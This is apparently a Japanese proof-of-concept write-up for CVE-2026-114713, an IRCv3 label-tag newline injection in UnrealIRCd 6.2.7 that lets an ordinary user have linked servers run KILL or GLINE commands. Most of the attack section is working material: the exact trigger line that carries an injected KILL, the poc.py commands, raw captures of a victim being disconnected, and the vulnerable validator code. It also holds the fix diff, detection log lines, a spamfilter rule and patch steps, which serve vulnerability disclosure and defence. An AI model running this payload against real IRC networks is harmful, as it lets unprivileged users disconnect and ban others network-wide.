
CVE-2026-114713のPOC - UnrealIRCdにおけるIRCv3ラベルタグインジェクション。リンクサーバーネットワーク上で、非特権クライアントのメッセージをサーバー間コマンド権限に昇格させる。脆弱な6.2.7と修正済みの6.2.7.1の対照を含む。
labeled-response モジュールは、クライアントが指定した IRCv3 の「label」メッセージタグをエスケープせずに応答へそのまま反映します。改行を含む label 値は標準の IRCv3 タグエスケープ \n として届き、サーバーはこれを実際の LF にアンエスケープしたうえで生のまま書き戻します。ラベル付きリクエストが別のサーバーへルーティングされる場合(2 パラメータの WHOIS <server> <nick> がまさにそれを行います)、応答はその生の LF を伴ってサーバー間リンクを越えます。受信側サーバーは 1 行を 2 行に解析し、2 行目 — 応答に接着された攻撃者選択のテキスト — が信頼されたピアから送られたコマンドとして実行されます。IRC では、リンクされたサーバーからのメッセージはクライアントに適用される権限チェックをスキップするため、一般ユーザーが 1 つのクライアントメッセージで KILL、GLINE その他のサーバー/IRCOp 専用コマンドをネットワーク全体で実行できます。6.2.7.1 および hot-patch bundle-20261107 で修正済み。2026-11-13 に KEV に登録され、実環境で悪用されています。
bundle-20261107 を適用(再起動不要)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)ラボを起動します(127.0.0.1:6667/6668 上のリンクされた脆弱なサーバー 2 台、6.2.7.1 上の同じトポロジ、さらに単一サーバーの対照環境):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
トリガーを発火します(攻撃者と被害者はリーフ上、WHOIS ターゲットはハブ上):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port は攻撃者と被害者が接続するリーフ、--hub-host/--hub-port
は WHOIS ターゲットを保持するリモートサーバー、--whois-server は
ルーティングされた WHOIS で使用される名前です。対照: 同じ入力を修正済みネットワーク
(--port 6678 --hub-port 6677) および単一サーバー
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net) に対して実行します。
これは自分が所有する IRC サーバーに対してのみ実行してください。
リンクされた脆弱なネットワークに対してトリガーを実行した結果(生キャプチャ:
evidence/01-vulnerable-linked-network-trigger.txt)。まず事前チェック — 同じ KILL を直接送信すると拒否され、
攻撃者にオペレーター権限がないことが証明されます:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
次に 1 行のラベル付き行(タグエスケープはワイヤー上で送信されたとおりに表示):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
被害者のソケット - リモートSERVERに起因するコマンドによって切断される:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
被害者のホスト上のサーバーログでは、切断元がサーバーであると記録される
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
対照実験A - 修正済みの6.2.7.1リンクネットワーク上で同じ入力を使用
(evidence/02-control-fixed-6.2.7.1-linked-network.txt):ラベル値に
改行が含まれるため、修正版はタグ全体を拒否する。WHOISの数値応答は
ラベルのないプレーンな行として返され、被害者はオンラインのままである:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
対照実験B - リンクのない単一の脆弱なサーバー上で同じ入力を使用
(evidence/03-control-single-server-precondition.txt):エスケープされていないラベルは
攻撃者自身のソケットにのみ書き戻されるため、何も実行されない:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
src/modules/labeled-response.cでは、3つの要素が揃う:
タグ値は受信時にエスケープ解除される(message_tag_unescape()の
src/modules/message-tags.cがIRCv3エスケープ\n \r \s \:を
実際のLF/CR/スペース/セミコロンにマッピングする)。クライアントが生の改行を送ることはなく、
サーバーが2つの表示可能なバイトから改行を生成する。
6.2.7では、タグバリデータはcap対応クライアントが送信する最大 64バイトまで何でも受け入れる - 値に対する文字チェックはない:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
その後、モジュールは保存された値を生の
snprintf呼び出しで応答行にフォーマットする - gen_start_batch()は"@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s"を構築する - これにより
message_tag_escape()をバイパスするが、他のすべての送信経路ではこれが使用される。リモートのラベル付きクライアントに
ルーティングされる応答の場合、lr_packet()がこのバッファを
サーバーリンクに書き込むため、ラベル内のLFが信頼された
ピアでストリームを分割する:1行目は無害な短い@label=pタグセグメント、2行目は
攻撃者が追加した任意の内容であり、リンクされた
サーバーからのコマンドとして実行される。2パラメータのWHOISが最もクリーンな運搬手段である。なぜなら、ターゲットのサーバーに
転送され、リンクを越えてラベル付き応答が返されることが保証されるからである。
6.2.7.1の修正は、まさに欠けていたチェックである(リリースの最初のdiffハンク):
if (strpbrk(value, " ;\\\r\n"))
return 0;
スペース、セミコロン、バックスラッシュ、CR、LFを含むラベルは、保存される前に 破棄されるため、エスケープ解除できないバイトが応答フォーマッタに到達することはない。
strlen(value) <= 64 制限で、アンエスケープ後はLFが1バイトとしてカウントされます)。注入されたコマンドは、それを運んだ応答と同じ行を共有するため、元の応答の末尾部分がKILL理由の内部に入り込みます。理由の前にある位置パラメータは正常に解析されます。TKL + G ... の末尾を付けた同じ注入は、ネットワーク全体のbanを設定します。kill.KILL_COMMAND / TKLログ行内のサーバー名に帰属するKILL/GLINEイベントは、決して正当なユーザー操作ではありません(ユーザーによるKILLは481 Permission deniedを返します。PoCの事前チェックでそれが示されています)。持続的な悪用では、受信側でラベルセグメントの解析に失敗するラベル付き応答も見られます。SPAMFILTER add -regex T block - Invalid_label ^label=(?![^\r\n;\x20]*\z)。
EOLの5.xでは、唯一のワークアラウンドはすべてのサーバーで blacklist-module "labeled-response"; を実行し、さらに完全な再起動を行うことです(rehashでは不十分です)。6.x:6.2.7.1へアップグレードするか ./unrealircd hot-patch bundle-20261107 を実行し、その後 ./unrealircd module-status | grep labeled-response で検証してください(5.0のみ = 未パッチ)。evidence/ 内のすべてのキャプチャは、公式の6.2.7および6.2.7.1のtarballから構築した127.0.0.1のラボインスタンスに対して取得されたものです。ログ内のサーバー名とホストはラボ用に予約された名前であり、実在のシステムではありません。